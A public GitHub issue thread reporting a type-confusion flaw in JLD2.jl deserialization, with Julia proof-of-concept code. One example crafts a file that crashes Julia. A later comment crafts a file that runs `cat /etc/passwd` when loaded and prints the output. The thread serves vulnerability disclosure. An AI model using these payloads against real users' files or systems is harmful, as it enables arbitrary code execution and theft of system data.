JLD2.jl icon indicating copy to clipboard operation
JLD2.jl copied to clipboard

Security issue: Type confusion, convert called during deserialization

Open chethega opened this issue 7 years ago • 1 comments

I take the lack of further response to https://github.com/JuliaIO/JLD2.jl/issues/115 as "yes, potential security issues can currently go on the public bugtracker and don't warrant coordinated disclosure / non-public patch development / CVE assignment". On the other hand, I take it that this is a security issue (bug, not feature).

Example for creating a bad file:

julia> using JLD2, FileIO
julia> a=Any[1]; b=view(a, [1]);
julia> typeof(b)
SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}
julia> struct SArray{tup, typ, n, m}
       data::Tuple{SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}}
       end
julia> sa = SArray{Tuple{1}, Vector{Any}, 1, 1}((b,));
julia> b.indices[1][1]=7;
julia> save("foo7.jld2", "sa", sa);

Reading it creates an inconsistent state that crashes on the next gc run:

julia> using StaticArrays, JLD2, FileIO
julia> load("foo7.jld2");
julia> GC.gc()

signal (11): Segmentation fault

I am pretty sure that it should be possible to get code-exec via memory corruption.

I think that it is plausible to get reliable code-execution via type confusion, e.g. by triggering a getindex on a serialized Broadcasted object that calls Meta.parse, Meta.eval and run. I have not found a widely imported function that calls getindex during conversion if the object I plug in is not an AbstractArray (and Broadcasted is not an abstract array).

This specific example is related to https://github.com/JuliaLang/julia/issues/25743 and a possibly spurious convert in StaticArrays.

chethega avatar Oct 10 '18 19:10 chethega

The same PoC as for BSON.jl applies for JLD2:

julia> using JLD2, FileIO
julia> struct SubArray{T,N,P,I,L}<:AbstractArray{T,N}
       parent
       indices
       offset1
       stride1
       end
julia> br=Base.Broadcast.Broadcasted(run, ([`cat /etc/passwd`],));
julia> v=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(br, ([1],), 0, 0);
julia> w=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(1:5, (v,), 0, 0);
julia> save("poc.jld2", Dict("a"=>w));

In a new session:

julia> using JLD2, FileIO
julia> load("poc.jld2");
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
[...]
Fatal error:
ERROR: MethodError: Cannot `convert` an object of type Base.Process to an object of type Int64
[...]

chethega avatar Jul 16 '19 18:07 chethega